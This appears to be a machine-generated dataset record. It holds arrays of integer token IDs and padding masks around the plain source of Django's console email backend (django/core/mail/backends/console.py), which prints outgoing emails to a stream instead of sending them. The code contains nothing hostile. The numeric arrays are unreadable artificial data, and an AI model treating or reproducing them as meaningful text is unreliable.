446, 17, 367, 4325, 315, 6036, 430, 339, 6466, 275, 20799, 8, 15286, 29, 15286, 1012, 272, 702, 63, 3536, 63, 2861, 63, 2340, 8, 2443, 12, 481, 1778, 89, 1726, 9, 272, 702, 63, 3536, 63, 2861, 63, 2340, 8, 2443, 12, 481, 1778, 89, 1726, 9, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 523, 2882, 14, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 6171, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 646, 5190, 199, 646, 2882, 199, 199, 504, 6466, 492, 20799, 199, 199, 533, 20799, 774, 8, 2796, 14, 1746, 304, 523, 347, 511, 1944, 1110, 2844, 21553, 8, 277, 304, 272, 291, 14, 1855, 8, 3393, 12, 20799, 9, 819, 347, 511, 1110, 8, 277, 304, 272, 6466, 275, 20799, 8, 585, 29, 2260, 9, 272, 291, 14, 629, 8, 2260, 12, 6466, 14, 1002, 1012, 272, 291, 14, 629, 8, 2260, 12, 6466, 14, 1002, 1012, 819, 347, 511, 21553, 1110, 8, 277, 304, 272, 702, 797, 275, 291, 14, 3334, 272, 1021, 13080, 8, 785, 304, 489, 347, 636, 826, 721, 277, 304, 267, 291, 423, 362, 63, 3527, 275, 756, 489, 347, 2372, 8, 277, 304, 267, 702, 797, 8, 277, 423, 362, 63, 3527, 9, 267, 291, 423, 362, 63, 3527, 275, 715, 267, 372, 5685, 339, 6466, 275, 20799, 8, 15286, 29, 15286, 1012, 272, 291, 14, 629, 8, 2260, 12, 6466, 14, 1002, 1012, 272, 291, 14, 629, 8, 2260, 12, 6466, 14, 1002, 1012, 819, 347, 511, 547, 2719, 1143, 316, 21553, 8, 277, 304, 272, 1021, 481, 1778, 89, 1726, 8, 1726, 304, 489, 986, 339, 327, 2494, 1536, 282, 6036, 402, 3423, 370, 511, 314, 3464, 3307, 14, 272, 347, 2173, 88, 837, 489, 746, 481, 1778, 89, 1726, 342, 272, 347, 15507, 837, 489, 372, 2173, 88, 342, 272, 347, 4681, 837, 489, 372, 15507, 342, 272, 347, 3925, 837, 489, 372, 4681, 342, 272, 6036, 275, 359, 1421, 12, 4681, 12, 15507, 12, 2173, 88, 61, 339, 702, 797, 275, 291, 14, 3334, 272, 1021, 13080, 8, 785, 304, 489, 347, 636, 826, 721, 277, 304, 267, 291, 423, 362, 63, 3527, 275, 756, 489, 347, 2372, 8, 277, 304, 267, 702, 797, 8, 277, 423, 362, 63, 3527, 9, 267, 291, 423, 362, 63, 3527, 275, 715, 267, 372, 3925, 342, 339, 2449, 275, 291, 14, 1633, 272, 702, 549, 275, 291, 14, 1815, 272, 347, 702, 63, 3536, 63, 2861, 63, 2340, 8, 2443, 12, 2329, 304, 489, 862, 26, 267, 6466, 14, 1002, 342, 267, 2449, 360, 17366, 440, 746, 450, 83, 7, 450, 2329, 9, 489, 871, 2186, 465, 325, 26, 267, 702, 549, 8, 6074, 8, 69, 12, 2329, 430, 267, 3464, 275, 5190, 14, 908, 63, 2804, 342, 267, 702, 549, 8, 452, 8, 2340, 14, 1623, 8, 2324, 855, 354, 3368, 1137, 446, 17, 367, 4325, 315, 6036, 430, 339, 6466, 275, 20799, 8, 15286, 29, 15286, 1012, 272, 702, 63, 3536, 63, 2861, 63, 2340, 8, 2443, 12, 481, 1778, 89, 1726, 9, 272, 702, 63, 3536, 63, 2861, 63, 2340, 8, 2443, 12, 481, 1778, 89, 1726, 9, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 523, 2882, 14, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
vmarkovtsev/django
django/core/mail/backends/console.py
696
1477
""" Email backend that writes messages to console instead of sending them. """ import sys import threading from django.core.mail.backends.base import BaseEmailBackend from django.utils import six class EmailBackend(BaseEmailBackend): def __init__(self, *args, **kwargs): self.stream = kwargs.pop('stream', sys.stdout) self._lock = threading.RLock() super(EmailBackend, self).__init__(*args, **kwargs) def write_message(self, message): msg = message.message() msg_data = msg.as_bytes() if six.PY3: charset = msg.get_charset().get_output_charset() if msg.get_charset() else 'utf-8' msg_data = msg_data.decode(charset) self.stream.write('%s\n' % msg_data) self.stream.write('-' * 79) self.stream.write('\n') def send_messages(self, email_messages): """Write all messages to the stream in a thread-safe way.""" if not email_messages: return msg_count = 0 with self._lock: try: stream_created = self.open() for message in email_messages: self.write_message(message) self.stream.flush() # flush after each message msg_count += 1 if stream_created: self.close() except Exception: if not self.fail_silently: raise return msg_count
bsd-3-clause
[ 624, 199, 7035, 4865, 626, 14511, 3788, 370, 8559, 3140, 402, 10209, 3062, 14, 199, 624, 199, 646, 984, 199, 646, 5796, 199, 199, 504, 1639, 14, 1018, 14, 1198, 14, 7765, 14, 1095, 492, 3523, 7035, 8447, 199, 504, 1639, 14, 1208, 492, 3816, 421, 199, 533, 11426, 8447, 8, 1563, 7035, 8447, 304, 272, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 1745, 275, 2074, 14, 1935, 360, 1745, 297, 984, 14, 2703, 9, 267, 291, 423, 831, 275, 5796, 14, 30550, 342, 267, 1613, 8, 7035, 8447, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 339, 347, 2218, 63, 1188, 8, 277, 12, 1245, 304, 267, 1499, 275, 1245, 14, 1188, 342, 267, 1499, 63, 576, 275, 1499, 14, 305, 63, 2394, 342, 267, 340, 3816, 14, 4521, 19, 26, 288, 5960, 275, 1499, 14, 362, 63, 6043, 1252, 362, 63, 1199, 63, 6043, 342, 340, 1499, 14, 362, 63, 6043, 342, 587, 283, 1624, 13, 24, 7, 288, 1499, 63, 576, 275, 1499, 63, 576, 14, 2708, 8, 6043, 9, 267, 291, 14, 1745, 14, 952, 3508, 83, 60, 78, 7, 450, 1499, 63, 576, 9, 267, 291, 14, 1745, 14, 952, 3654, 7, 627, 13734, 9, 267, 291, 14, 1745, 14, 952, 2258, 78, 358, 339, 347, 3222, 63, 3431, 8, 277, 12, 3031, 63, 3431, 304, 267, 408, 3534, 1006, 3788, 370, 314, 2547, 315, 282, 2462, 13, 3489, 4340, 1041, 267, 340, 440, 3031, 63, 3431, 26, 288, 372, 267, 1499, 63, 835, 275, 378, 267, 543, 291, 423, 831, 26, 288, 862, 26, 355, 2547, 63, 3966, 275, 291, 14, 1490, 342, 355, 367, 1245, 315, 3031, 63, 3431, 26, 490, 291, 14, 952, 63, 1188, 8, 1188, 9, 490, 291, 14, 1745, 14, 4939, 342, 221, 327, 8976, 2410, 1924, 1245, 490, 1499, 63, 835, 847, 413, 355, 340, 2547, 63, 3966, 26, 490, 291, 14, 1600, 342, 288, 871, 2186, 26, 355, 340, 440, 291, 14, 1633, 63, 25163, 26, 490, 746, 267, 372, 1499, 63, 835, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 7035, 4865, 626, 14511, 3788, 370, 8559, 3140, 402, 10209, 3062, 14, 199, 624, 199, 646, 984, 199, 646, 5796, 199, 199, 504, 1639, 14, 1018, 14, 1198, 14, 7765, 14, 1095, 492, 3523, 7035, 8447, 199, 504, 1639, 14, 1208, 492, 3816, 421, 199, 533, 11426, 8447, 8, 1563, 7035, 8447, 304, 272, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 1745, 275, 2074, 14, 1935, 360, 1745, 297, 984, 14, 2703, 9, 267, 291, 423, 831, 275, 5796, 14, 30550, 342, 267, 1613, 8, 7035, 8447, 12, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 339, 347, 2218, 63, 1188, 8, 277, 12, 1245, 304, 267, 1499, 275, 1245, 14, 1188, 342, 267, 1499, 63, 576, 275, 1499, 14, 305, 63, 2394, 342, 267, 340, 3816, 14, 4521, 19, 26, 288, 5960, 275, 1499, 14, 362, 63, 6043, 1252, 362, 63, 1199, 63, 6043, 342, 340, 1499, 14, 362, 63, 6043, 342, 587, 283, 1624, 13, 24, 7, 288, 1499, 63, 576, 275, 1499, 63, 576, 14, 2708, 8, 6043, 9, 267, 291, 14, 1745, 14, 952, 3508, 83, 60, 78, 7, 450, 1499, 63, 576, 9, 267, 291, 14, 1745, 14, 952, 3654, 7, 627, 13734, 9, 267, 291, 14, 1745, 14, 952, 2258, 78, 358, 339, 347, 3222, 63, 3431, 8, 277, 12, 3031, 63, 3431, 304, 267, 408, 3534, 1006, 3788, 370, 314, 2547, 315, 282, 2462, 13, 3489, 4340, 1041, 267, 340, 440, 3031, 63, 3431, 26, 288, 372, 267, 1499, 63, 835, 275, 378, 267, 543, 291, 423, 831, 26, 288, 862, 26, 355, 2547, 63, 3966, 275, 291, 14, 1490, 342, 355, 367, 1245, 315, 3031, 63, 3431, 26, 490, 291, 14, 952, 63, 1188, 8, 1188, 9, 490, 291, 14, 1745, 14, 4939, 342, 221, 327, 8976, 2410, 1924, 1245, 490, 1499, 63, 835, 847, 413, 355, 340, 2547, 63, 3966, 26, 490, 291, 14, 1600, 342, 288, 871, 2186, 26, 355, 340, 440, 291, 14, 1633, 63, 25163, 26, 490, 746, 267, 372, 1499, 63, 835, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 